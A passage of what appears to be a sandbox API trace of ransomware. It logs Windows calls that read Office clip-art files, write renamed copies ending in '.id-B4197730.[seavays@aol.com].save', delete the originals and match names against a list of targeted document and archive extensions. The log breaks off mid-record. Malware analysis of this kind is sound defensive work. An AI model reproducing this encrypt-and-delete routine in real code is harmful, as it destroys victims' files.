0x0 [0164.812] ReadFile (in: hFile=0x4a0, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x45be, lpOverlapped=0x0) returned 1 [0164.814] WriteFile (in: hFile=0x498, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x45c0, lpOverlapped=0x0) returned 1 [0164.815] ReadFile (in: hFile=0x4a0, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0164.815] WriteFile (in: hFile=0x498, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0164.816] SetEndOfFile (hFile=0x498) returned 1 [0164.816] CloseHandle (hObject=0x498) returned 1 [0164.816] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.816] SetEndOfFile (hFile=0x4a0) returned 1 [0164.819] CloseHandle (hObject=0x4a0) returned 1 [0164.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0166.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.873] lstrlenW (lpString=".doc") returned 4 [0166.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.873] lstrlenW (lpString=".docx") returned 5 [0166.873] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.874] lstrlenW (lpString=".pdf") returned 4 [0166.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString=".xls") returned 4 [0166.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.874] lstrlenW (lpString=".xlsx") returned 5 [0166.874] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.874] lstrlenW (lpString=".ppt") returned 4 [0166.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.874] lstrlenW (lpString=".zip") returned 4 [0166.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.874] lstrlenW (lpString=".rar") returned 4 [0166.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString=".bz2") returned 4 [0166.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString=".7z") returned 3 [0166.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.874] lstrlenW (lpString=".dbf") returned 4 [0166.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.874] lstrlenW (lpString=".1cd") returned 4 [0166.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.874] lstrlenW (lpString=".jpg") returned 4 [0166.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.875] lstrlenW (lpString=".doc") returned 4 [0166.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.875] lstrlenW (lpString=".docx") returned 5 [0166.875] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.875] lstrlenW (lpString=".pdf") returned 4 [0166.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.875] lstrlenW (lpString=".xls") returned 4 [0166.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.875] lstrlenW (lpString=".xlsx") returned 5 [0166.875] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.875] lstrlenW (lpString=".ppt") returned 4 [0166.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.875] lstrlenW (lpString=".zip") returned 4 [0166.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.875] lstrlenW (lpString=".rar") returned 4 [0166.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.875] lstrlenW (lpString=".bz2") returned 4 [0166.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.875] lstrlenW (lpString=".7z") returned 3 [0166.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.875] lstrlenW (lpString=".dbf") returned 4 [0166.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.876] lstrlenW (lpString=".1cd") returned 4 [0166.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0166.876] lstrlenW (lpString=".jpg") returned 4 [0166.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.876] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0166.876] lstrlenW (lpString="J0101980.WMF") returned 12 [0166.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0167.768] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=16104) returned 1 [0167.768] CloseHandle (hObject=0x50c) returned 1 [0167.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0167.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0167.769] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0167.769] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0167.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.772] GetLastError () returned 0x0 [0167.772] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0167.774] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0167.775] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0167.775] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0167.776] SetEndOfFile (hFile=0x514) returned 1 [0167.776] CloseHandle (hObject=0x514) returned 1 [0167.776] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0167.776] SetEndOfFile (hFile=0x50c) returned 1 [0167.783] CloseHandle (hObject=0x50c) returned 1 [0167.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0167.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0167.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.785] lstrlenW (lpString=".doc") returned 4 [0167.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.785] lstrlenW (lpString=".docx") returned 5 [0167.785] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.785] lstrlenW (lpString=".pdf") returned 4 [0167.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.785] lstrlenW (lpString=".xls") returned 4 [0167.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.785] lstrlenW (lpString=".xlsx") returned 5 [0167.785] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.785] lstrlenW (lpString=".ppt") returned 4 [0167.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.785] lstrlenW (lpString=".zip") returned 4 [0167.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.785] lstrlenW (lpString=".rar") returned 4 [0167.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.785] lstrlenW (lpString=".bz2") returned 4 [0167.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.785] lstrlenW (lpString=".7z") returned 3 [0167.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.786] lstrlenW (lpString=".dbf") returned 4 [0167.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.786] lstrlenW (lpString=".1cd") returned 4 [0167.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.786] lstrlenW (lpString=".jpg") returned 4 [0167.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.786] lstrlenW (lpString=".doc") returned 4 [0167.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.786] lstrlenW (lpString=".docx") returned 5 [0167.786] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.786] lstrlenW (lpString=".pdf") returned 4 [0167.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.786] lstrlenW (lpString=".xls") returned 4 [0167.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.786] lstrlenW (lpString=".xlsx") returned 5 [0167.786] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.786] lstrlenW (lpString=".ppt") returned 4 [0167.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.786] lstrlenW (lpString=".zip") returned 4 [0167.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.786] lstrlenW (lpString=".rar") returned 4 [0167.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.787] lstrlenW (lpString=".bz2") returned 4 [0167.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.787] lstrlenW (lpString=".7z") returned 3 [0167.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.787] lstrlenW (lpString=".dbf") returned 4 [0167.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.787] lstrlenW (lpString=".1cd") returned 4 [0167.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0167.787] lstrlenW (lpString=".jpg") returned 4 [0167.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.787] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.787] lstrlenW (lpString="J0103402.WMF") returned 12 [0167.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0167.789] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=44948) returned 1 [0167.789] CloseHandle (hObject=0x50c) returned 1 [0167.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0167.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0167.790] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0167.790] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0167.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.791] GetLastError () returned 0x0 [0167.791] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xaf94, lpOverlapped=0x0) returned 1 [0167.794] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xafa0, lpOverlapped=0x0) returned 1 [0167.797] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0167.797] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0167.797] SetEndOfFile (hFile=0x514) returned 1 [0167.797] CloseHandle (hObject=0x514) returned 1 [0167.797] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0167.797] SetEndOfFile (hFile=0x50c) returned 1 [0167.801] CloseHandle (hObject=0x50c) returned 1 [0167.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0167.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0167.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.802] lstrlenW (lpString=".doc") returned 4 [0167.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.802] lstrlenW (lpString=".docx") returned 5 [0167.802] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.802] lstrlenW (lpString=".pdf") returned 4 [0167.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.803] lstrlenW (lpString=".xls") returned 4 [0167.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.803] lstrlenW (lpString=".xlsx") returned 5 [0167.803] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.803] lstrlenW (lpString=".ppt") returned 4 [0167.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.803] lstrlenW (lpString=".zip") returned 4 [0167.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.803] lstrlenW (lpString=".rar") returned 4 [0167.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.803] lstrlenW (lpString=".bz2") returned 4 [0167.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.803] lstrlenW (lpString=".7z") returned 3 [0167.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.803] lstrlenW (lpString=".dbf") returned 4 [0167.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.803] lstrlenW (lpString=".1cd") returned 4 [0167.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.803] lstrlenW (lpString=".jpg") returned 4 [0167.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.803] lstrlenW (lpString=".doc") returned 4 [0167.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.803] lstrlenW (lpString=".docx") returned 5 [0167.803] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.804] lstrlenW (lpString=".pdf") returned 4 [0167.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.804] lstrlenW (lpString=".xls") returned 4 [0167.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.804] lstrlenW (lpString=".xlsx") returned 5 [0167.804] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.804] lstrlenW (lpString=".ppt") returned 4 [0167.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.804] lstrlenW (lpString=".zip") returned 4 [0167.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.804] lstrlenW (lpString=".rar") returned 4 [0167.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.804] lstrlenW (lpString=".bz2") returned 4 [0167.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.804] lstrlenW (lpString=".7z") returned 3 [0167.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.804] lstrlenW (lpString=".dbf") returned 4 [0167.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.804] lstrlenW (lpString=".1cd") returned 4 [0167.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0167.804] lstrlenW (lpString=".jpg") returned 4 [0167.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.804] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.804] lstrlenW (lpString="J0103812.WMF") returned 12 [0167.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0167.805] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5908) returned 1 [0167.805] CloseHandle (hObject=0x50c) returned 1 [0167.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0167.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0167.806] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0167.806] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0167.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.807] GetLastError () returned 0x0 [0167.807] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1714, lpOverlapped=0x0) returned 1 [0168.010] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1720, lpOverlapped=0x0) returned 1 [0168.012] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: 